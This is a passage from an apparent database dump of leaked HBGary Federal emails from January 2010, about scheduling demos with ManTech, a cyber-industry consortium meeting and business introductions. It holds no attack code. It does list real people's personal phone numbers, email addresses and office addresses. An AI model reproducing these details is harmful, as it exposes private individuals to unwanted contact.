do a press release on this in a few weeks (hopefully a bit faster).&nbsp; Later this\r\n spring my goal is to hold a cyber intelligence summit and invite government and industry.Thanks,Aaron BarrCEOHBGary Federal Inc.\r\n\r\n',7955,'aaron_hbgary_com/7955.html'),(1321,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000339.M380038P3547Q1322.eml','\"Rich Cummings\" <rich@hbgary.com>','Fwd: Checking in','Rich,Can you support this meeting with Mantech? &nbsp;This will be with the VP of their Cyber group and a few of his folks.AaronBegin forwarded message:From: \"Gressett, Brandon W\" &lt;Brandon.Gressett@ManTech.com&gt;Date: January 21, 2010 9:24:38 AM ESTTo: &lt;aaron@hbgary.com&gt;Cc: \"Nieves, Alexander\" &lt;Alexander.Nieves@ManTech.com&gt;Subject: RE: Checking inAaron,Would February 4th from 0900-1100 be a good time to come to our locationto Demo your Tech Tools? &nbsp;I will be looking for your reply, thanks.Brandon GressettMCTS/CyberOperations Officer1951 Kidwell Dr. Suite 500Vienna, VA 22182Office:703-388-0370Cell:703-568-2370Brandon.Gressett@Mantech.com**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**This email and the contents of this email (including any attachments)are company-confidential and/or proprietary. Unless you are theaddressee (or authorized to receive for the addressee), you may not use,copy, disclose or distribute this email or any of the contents of thisemail. If you received this email in error, please promptly notify thesender by reply email and delete this email from your records. Thankyou.-----Original Message-----From: Nieves, Alexander Sent: Thursday, January 21, 2010 8:32 AMTo: Gressett, Brandon WSubject: FW: Checking inFyi-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 19, 2010 10:07 AMTo: Nieves, AlexanderSubject: Re: Checking inWe probably need about 2 hours to demo technology and have follow-ondiscussion about commercial technologies. &nbsp;Let me know when you get fitit in on your side.You mentioned a BD person to put me in contact with to work out the NDAstuff?AaronOn Jan 19, 2010, at 9:05 AM, Nieves, Alexander wrote:Yes indeed, thanks for the reminder. how much time would you need -----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 19, 2010 8:50 AMTo: Nieves, AlexanderSubject: Checking inHi Alex,Are you still interested in setting up an HBGary product demo?I was at the Cyber conference in Colorado Springs last week and spoketoa Col. Thomas French, in one of his talks he specifically mentionedcyber based information operations, specifically about the types wediscussed in our last meeting, just not on the commercial side.Anyway,are you still interested in pursuing this idea? &nbsp;Northrop is loosingwork in that area and is likely going to have some of my old teamcomingavailable in Colorado Springs. &nbsp;These are people you just don\'t comeacross very easily. &nbsp;Game developers, cartoonists, 3d modelers andanimators, script writers (he has actually won many hollywood scriptcontests), etc. &nbsp;I am very eager to build up this capability on mobileplatforms and would like to work together on this if you are stillinterested.Thanks,Aaron BarrCEOHBGary Federal Inc.Aaron BarrCEOHBGary Federal Inc.\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7258,'aaron_hbgary_com/7258.html'),(1322,'2010-01-21','\"Gressett, Brandon W\" <Brandon.Gressett@ManTech.com>','/aaron@hbgary.com/new/1297000339.M40299P3547Q1321.eml','aaron@hbgary.com,aaron@hbgary.com','RE: Checking in','Aaron,\r\n\r\nWould February 4th from 0900-1100 be a good time to come to our location\r\nto Demo your Tech Tools?  I will be looking for your reply, thanks.\r\n\r\nBrandon Gressett\r\nMCTS/Cyber\r\nOperations Officer\r\n1951 Kidwell Dr. Suite 500\r\nVienna, VA 22182\r\nOffice:703-388-0370\r\nCell:703-568-2370\r\nBrandon.Gressett@Mantech.com\r\n\r\n\r\n**PROPRIETARY & COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail. If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records. Thank\r\nyou.\r\n\r\n-----Original Message-----\r\nFrom: Nieves, Alexander \r\nSent: Thursday, January 21, 2010 8:32 AM\r\nTo: Gressett, Brandon W\r\nSubject: FW: Checking in\r\n\r\nFyi\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 10:07 AM\r\nTo: Nieves, Alexander\r\nSubject: Re: Checking in\r\n\r\nWe probably need about 2 hours to demo technology and have follow-on\r\ndiscussion about commercial technologies.  Let me know when you get fit\r\nit in on your side.\r\n\r\nYou mentioned a BD person to put me in contact with to work out the NDA\r\nstuff?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 19, 2010, at 9:05 AM, Nieves, Alexander wrote:\r\n\r\n> Yes indeed, thanks for the reminder. how much time would you need \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 19, 2010 8:50 AM\r\n> To: Nieves, Alexander\r\n> Subject: Checking in\r\n> \r\n> Hi Alex,\r\n> \r\n> Are you still interested in setting up an HBGary product demo?\r\n> \r\n> I was at the Cyber conference in Colorado Springs last week and spoke\r\nto\r\n> a Col. Thomas French, in one of his talks he specifically mentioned\r\n> cyber based information operations, specifically about the types we\r\n> discussed in our last meeting, just not on the commercial side.\r\nAnyway,\r\n> are you still interested in pursuing this idea?  Northrop is loosing\r\n> work in that area and is likely going to have some of my old team\r\ncoming\r\n> available in Colorado Springs.  These are people you just don\'t come\r\n> across very easily.  Game developers, cartoonists, 3d modelers and\r\n> animators, script writers (he has actually won many hollywood script\r\n> contests), etc.  I am very eager to build up this capability on mobile\r\n> platforms and would like to work together on this if you are still\r\n> interested.\r\n> \r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4385,'aaron_hbgary_com/4385.html'),(1323,'2010-01-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000339.M575865P3547Q1323.eml','\"Aaron Barr\" <aaron@hbgary.com>','mantech meeting with Aaron','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Aaron Barr\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100121T143259Z\r\nDESCRIPTION:When: Thursday\\, February 04\\, 2010 9:00 AM-11:00 AM (GMT-05:00\r\n	) Eastern Time (US & Canada).\\nWhere: Vienna mantech location\\n\\nNote: The\r\n	 GMT offset above does not reflect daylight saving time adjustments.\\n\\n*~\r\n	*~*~*~*~*~*~*~*~*\\n\\n\\n\r\nDTEND:20100204T160000Z\r\nDTSTAMP:20100121T143259Z\r\nDTSTART:20100204T140000Z\r\nLAST-MODIFIED:20100121T143259Z\r\nLOCATION:Vienna mantech location\r\nORGANIZER;CN=\"Rich Cummings\":mailto:rich@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:mantech meeting with Aaron\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000A0F67CB87C9ACA01000000000000000\r\n	0100000002272055782081D4294CDE226A00A8E29\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Thursday\\, February 04\\, 2010 9:00 AM-11:00 AM (GMT-05:00) Easte\r\n	rn Time (US &amp\\; Canada).\\n\\nWhere: Vienna mantech location\r\n	\\n\\nNote: The GMT offse\r\n	t above does not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*\r\n	~*\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Rich Cummings\":mailto:rich@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',4081,'aaron_hbgary_com/4081.html'),(1324,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000339.M775389P3547Q1324.eml','\"Rich Cummings\" <rich@hbgary.com>','Event accepted: mantech meeting with Aaron','Aaron Barr has accepted your iCal event invitation to the event: mantech meeting with Aaron, scheduled for February 4, 2010 at 2:00 PM (GMT+00:00).',15177,'aaron_hbgary_com/15177.html'),(1325,'2010-01-21','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000340.M20296P3547Q1325.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Checking in','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes I just sent you a meeting request so it&#8217;s on my calendar.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 21, 2010 9:31 AM\r\nTo: Rich Cummings\r\nSubject: Fwd: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nRich,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nCan you support this meeting with Mantech? &nbsp;This will\r\nbe with the VP of their Cyber group and a few of his folks.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Gressett,\r\nBrandon W&quot; &lt;Brandon.Gressett@ManTech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nDate:\r\nJanuary\r\n21, 2010 9:24:38 AM EST\r\n\r\n\r\n\r\n\r\n\r\nTo:\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc:\r\n&quot;Nieves,\r\nAlexander&quot; &lt;Alexander.Nieves@ManTech.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nRE: Checking in\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron,\r\n\r\nWould February 4th from 0900-1100 be a good time to come to our location\r\nto Demo your Tech Tools? &nbsp;I will be looking for your reply, thanks.\r\n\r\nBrandon Gressett\r\nMCTS/Cyber\r\nOperations Officer\r\n1951 Kidwell Dr. Suite 500\r\nVienna, VA 22182\r\nOffice:703-388-0370\r\nCell:703-568-2370\r\nBrandon.Gressett@Mantech.com\r\n\r\n\r\n**PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\nThis email and the contents of this email (including any attachments)\r\nare company-confidential and/or proprietary. Unless you are the\r\naddressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail. If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records. Thank\r\nyou.\r\n\r\n-----Original Message-----\r\nFrom: Nieves, Alexander \r\nSent: Thursday, January 21, 2010 8:32 AM\r\nTo: Gressett, Brandon W\r\nSubject: FW: Checking in\r\n\r\nFyi\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 10:07 AM\r\nTo: Nieves, Alexander\r\nSubject: Re: Checking in\r\n\r\nWe probably need about 2 hours to demo technology and have follow-on\r\ndiscussion about commercial technologies. &nbsp;Let me know when you get fit\r\nit in on your side.\r\n\r\nYou mentioned a BD person to put me in contact with to work out the NDA\r\nstuff?\r\n\r\nAaron\r\n\r\n\r\nOn Jan 19, 2010, at 9:05 AM, Nieves, Alexander wrote:\r\n\r\n\r\n\r\n\r\nYes indeed, thanks for the reminder. how much time would you\r\nneed \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\n\r\n\r\n\r\n\r\n\r\nSent: Tuesday, January 19, 2010 8:50 AM\r\n\r\n\r\n\r\n\r\n\r\nTo: Nieves, Alexander\r\n\r\n\r\n\r\n\r\n\r\nSubject: Checking in\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi Alex,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAre you still interested in setting up an HBGary product\r\ndemo?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI was at the Cyber conference in Colorado Springs last week\r\nand spoke\r\n\r\n\r\n\r\nto\r\n\r\n\r\n\r\na Col. Thomas French, in one of his talks he specifically\r\nmentioned\r\n\r\n\r\n\r\ncyber based information operations, specifically about the\r\ntypes we\r\n\r\n\r\n\r\n\r\n\r\ndiscussed in our last meeting, just not on the commercial\r\nside.\r\n\r\n\r\n\r\nAnyway,\r\n\r\n\r\n\r\nare you still interested in pursuing this idea?\r\n&nbsp;Northrop is loosing\r\n\r\n\r\n\r\nwork in that area and is likely going to have some of my old\r\nteam\r\n\r\n\r\n\r\ncoming\r\n\r\n\r\n\r\navailable in Colorado Springs. &nbsp;These are people you\r\njust don\'t come\r\n\r\n\r\n\r\nacross very easily. &nbsp;Game developers, cartoonists, 3d\r\nmodelers and\r\n\r\n\r\n\r\n\r\n\r\nanimators, script writers (he has actually won many\r\nhollywood script\r\n\r\n\r\n\r\n\r\n\r\ncontests), etc. &nbsp;I am very eager to build up this\r\ncapability on mobile\r\n\r\n\r\n\r\n\r\n\r\nplatforms and would like to work together on this if you are\r\nstill\r\n\r\n\r\n\r\n\r\n\r\ninterested.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8054,'aaron_hbgary_com/8054.html'),(1326,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000340.M251761P3547Q1326.eml','\"Gressett, Brandon W\" <Brandon.Gressett@ManTech.com>','Re: Checking in','That works.\r\n\r\nThanks,\r\nAaron\r\nOn Jan 21, 2010, at 9:24 AM, Gressett, Brandon W wrote:\r\n\r\n> Aaron,\r\n> \r\n> Would February 4th from 0900-1100 be a good time to come to our location\r\n> to Demo your Tech Tools?  I will be looking for your reply, thanks.\r\n> \r\n> Brandon Gressett\r\n> MCTS/Cyber\r\n> Operations Officer\r\n> 1951 Kidwell Dr. Suite 500\r\n> Vienna, VA 22182\r\n> Office:703-388-0370\r\n> Cell:703-568-2370\r\n> Brandon.Gressett@Mantech.com\r\n> \r\n> \r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n> This email and the contents of this email (including any attachments)\r\n> are company-confidential and/or proprietary. Unless you are the\r\n> addressee (or authorized to receive for the addressee), you may not use,\r\n> copy, disclose or distribute this email or any of the contents of this\r\n> email. If you received this email in error, please promptly notify the\r\n> sender by reply email and delete this email from your records. Thank\r\n> you.\r\n> \r\n> -----Original Message-----\r\n> From: Nieves, Alexander \r\n> Sent: Thursday, January 21, 2010 8:32 AM\r\n> To: Gressett, Brandon W\r\n> Subject: FW: Checking in\r\n> \r\n> Fyi\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, January 19, 2010 10:07 AM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Checking in\r\n> \r\n> We probably need about 2 hours to demo technology and have follow-on\r\n> discussion about commercial technologies.  Let me know when you get fit\r\n> it in on your side.\r\n> \r\n> You mentioned a BD person to put me in contact with to work out the NDA\r\n> stuff?\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Jan 19, 2010, at 9:05 AM, Nieves, Alexander wrote:\r\n> \r\n>> Yes indeed, thanks for the reminder. how much time would you need \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Tuesday, January 19, 2010 8:50 AM\r\n>> To: Nieves, Alexander\r\n>> Subject: Checking in\r\n>> \r\n>> Hi Alex,\r\n>> \r\n>> Are you still interested in setting up an HBGary product demo?\r\n>> \r\n>> I was at the Cyber conference in Colorado Springs last week and spoke\r\n> to\r\n>> a Col. Thomas French, in one of his talks he specifically mentioned\r\n>> cyber based information operations, specifically about the types we\r\n>> discussed in our last meeting, just not on the commercial side.\r\n> Anyway,\r\n>> are you still interested in pursuing this idea?  Northrop is loosing\r\n>> work in that area and is likely going to have some of my old team\r\n> coming\r\n>> available in Colorado Springs.  These are people you just don\'t come\r\n>> across very easily.  Game developers, cartoonists, 3d modelers and\r\n>> animators, script writers (he has actually won many hollywood script\r\n>> contests), etc.  I am very eager to build up this capability on mobile\r\n>> platforms and would like to work together on this if you are still\r\n>> interested.\r\n>> \r\n>> Thanks,\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2261,'aaron_hbgary_com/2261.html'),(1327,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000340.M450073P3547Q1327.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','People coming on Tuesday','Hey Matt,\r\n\r\nSince we are meeting at your place I thought I should let you know that the crowd is growing a bit for our Tuesday meeting.  I think we will have all parties from the \"cyber intelligence consortium\" represented.\r\n\r\nHBGary - Rich Cummings (CTO), myself, and Bob Slapnik.\r\nNetwitness - Brian Girardi.\r\nEndGames - John, Ryan, and one other.\r\nSplunk - haven\'t talked to them yet, probably will today or tomorrow, but they mentioned an interest in partnership.\r\nXetron - Brian Masterson\r\n\r\nso I am guessing about 10 people not counting Palantir?  I can scale it back if thats to much for that day.\r\n\r\nAre you close on the press release? :)  If I can get it to our PR person today or tomorrow she is going to get it ready for a Monday release.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5776,'aaron_hbgary_com/5776.html'),(1328,'2010-01-21','\"Gressett, Brandon W\" <Brandon.Gressett@ManTech.com>','/aaron@hbgary.com/new/1297000340.M652899P3547Q1328.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>,\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>,\"Myrick, Paul J\" <Paul.Myrick@ManTech.com>,aaron@hbgary.com,\"Clark, LeAnna M\" <LeAnna.Clark@ManTech.com>','HB Gary TECH TOOL DEMO','\r\n\r\n\r\n\r\n\r\nHB Gary TECH TOOL DEMO\r\n\r\n\r\n\r\n\r\nWhen: Thursday, February 04, 2010 9:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Kidwell Bldg 5th floor Conference Room\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nThis meeting is being scheduled for Aaron Barr to demo some Tech Tools for Cyber.&nbsp; The address to the Kidwell Locations below, thanks.\r\n\r\n\r\n1951 Kidwell Dr. Suite 500\r\n\r\nVienna, VA 22182\r\n\r\n\r\n\r\nLeAnna,\r\n\r\nPlease schedule the 5th Floor Conference Room for this, thanks.\r\n\r\n\r\nv/r\r\n\r\nBrandon\r\n\r\n\r\n',130,'aaron_hbgary_com/130.html'),(1329,'2010-01-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000340.M890355P3547Q1329.eml','johnrw@proinfomd.com','Re: virtual introduction','In lobby.\r\n\r\n From my iPhone\r\n\r\nOn Jan 21, 2010, at 9:04 AM, johnrw@proinfomd.com wrote:\r\n\r\n> Great\r\n> I will meet you in the lobby\r\n> ------Original Message------\r\n> From: Aaron Barr\r\n> To: John Williams\r\n> Subject: Re: virtual introduction\r\n> Sent: Jan 21, 2010 9:00 AM\r\n>\r\n> Sure I think I can make that.  Not to far from me.\r\n>\r\n> Aaron\r\n>\r\n> On Jan 21, 2010, at 8:53 AM, johnrw@proinfomd.com wrote:\r\n>\r\n>> Aaron\r\n>> I wrongly assumed Bethesda.  Sorry\r\n>> I am meeting John at 10:30 today at Kenwood Country Club 5601 River\r\n>> Road - if you can make it on short notice\r\n>> If not give me some open dates for you\r\n>> Thx\r\n>> John\r\n>> ------Original Message------\r\n>> From: Aaron Barr\r\n>> To: John Williams\r\n>> Subject: Re: virtual introduction\r\n>> Sent: Jan 21, 2010 8:47 AM\r\n>>\r\n>> Sounds good John.  Which office complex?  I work out of my home or\r\n>> out of a flex office space in Tysons Corner, I live in Mclean.  If\r\n>> your talking about our Bethesda office, I don\'t get up there a lot,\r\n>> but I am flexible.  Lets find a good time and place.\r\n>>\r\n>> Aaron\r\n>> On Jan 21, 2010, at 6:41 AM, John R. Williams wrote:\r\n>>\r\n>>> John,\r\n>>>\r\n>>> Thank you for the virtual introduction.\r\n>>>\r\n>>> Aaron,\r\n>>>\r\n>>> I have a simple policy in life - \"do whatever John Farrell tells\r\n>>> me to do\".\r\n>>> He says we should get together, so let\'s do just that.\r\n>>>\r\n>>> There is a hotel in your office complex.  I suggest we meet there,\r\n>>> have a\r\n>>> cup of coffee and discuss how we could help each other.  What does\r\n>>> your\r\n>>> schedule look like?\r\n>>>\r\n>>> John\r\n>>> 301 237 0007\r\n>>>\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: John Farrell [mailto:john@endgames.us]\r\n>>> Sent: Wednesday, January 20, 2010 3:46 PM\r\n>>> To: Aaron Barr; John R. Williams\r\n>>> Subject: virtual introduction\r\n>>>\r\n>>> Aaron, John,\r\n>>>\r\n>>> As a follow up to yesterday\'s meeting, please allow me to\r\n>>> introduce you two.\r\n>>> Aaron is CEO, HB Gary Federal and John is CEO, ProInfo. Based on our\r\n>>> discussion, i highly recommend you two meet and talk about your\r\n>>> capabilities/products. I think there might be a joint opportunity\r\n>>> to work\r\n>>> together. I will let you two work the details directly. Let me\r\n>>> know how else\r\n>>> I can assist. Good luck.\r\n>>>\r\n>>> John\r\n>>>\r\n>>> John M. Farrell\r\n>>> Vice President, Federal\r\n>>> john@endgames.us\r\n>>> 703.622.9025\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Sent from my Verizon Wireless BlackBerry\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Sent from my Verizon Wireless BlackBerry\r\n',167,'aaron_hbgary_com/167.html'),(1330,'2010-01-21','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000341.M181864P3547Q1330.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Health Plan','HI Aaron,\r\n\r\nI believe your insurance will start March 1st. I will check with Jeff today.\r\n\r\nDeeAnn Buonaccorsi\r\nOffice Manager\r\nHBGary, Inc.\r\n3604 Fair Oaks Blvd.  Suite 250\r\nSacramento, CA  95864\r\nTel:  916-459-4727 ext. 101\r\nFax: 916-481-1460\r\nEmail  deeann@hbgary.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, January 21, 2010 5:56 AM\r\nTo: DeeAnn Buonaccorsi\r\nSubject: Health Plan\r\n\r\nHi DeeAnn,\r\n\r\nWhat is the status of the health plan?  Do I need to do anything else?  I\r\nturned in my stuff to Jeff I thought that would start the ball rolling.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5861,'aaron_hbgary_com/5861.html'),(1331,'2010-01-21','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000341.M464804P3547Q1331.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: HBGary/EndGames Capabilities Brief @ Tue Jan 26 1pm - 3pm (brian.masterson@ngc.com)','',13481,'aaron_hbgary_com/13481.html'),(1332,'2010-01-21','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000341.M757909P3547Q1332.eml','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>,michael.p.courtny@saic.com,\"Aaron Barr\" <aaron@hbgary.com>','Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  1024x768\r\n \r\n\r\n \r\n  Clean\r\n  \r\n  \r\n  \r\n  \r\n  \r\n  false\r\n  false\r\n  false\r\n  \r\n  EN-US\r\n  X-NONE\r\n  X-NONE\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n  MicrosoftInternetExplorer4\r\n  \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n   \r\n  \r\n\r\n \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n /* Style Definitions */ \r\n table.MsoNormalTable\r\n	{mso-style-name:\"Table Normal\";\r\n	mso-tstyle-rowband-size:0;\r\n	mso-tstyle-colband-size:0;\r\n	mso-style-noshow:yes;\r\n	mso-style-priority:99;\r\n	mso-style-qformat:yes;\r\n	mso-style-parent:\"\";\r\n	mso-padding-alt:0in 5.4pt 0in 5.4pt;\r\n	mso-para-margin:0in;\r\n	mso-para-margin-bottom:.0001pt;\r\n	mso-pagination:widow-orphan;\r\n	font-size:11.0pt;\r\n	font-family:\"Calibri\",\"sans-serif\";\r\n	mso-ascii-font-family:Calibri;\r\n	mso-hansi-font-family:Calibri;}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMike &amp; Michael,\r\n\r\n&nbsp;\r\n\r\nGood seeing you yesterday. Please meet Aaron, who is the CEO\r\nof HBGary Federal , our subsidiary who is specializing in the services we\r\ndiscussed. See contact info below. Hopefully you will find one another&#8217;s\r\ncapabilities very complementary.\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n719-510-8478-Cell\r\n\r\n&nbsp;\r\n\r\nMike Mulville \r\n\r\n703-622-9121\r\n\r\n&nbsp;\r\n\r\nMichael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 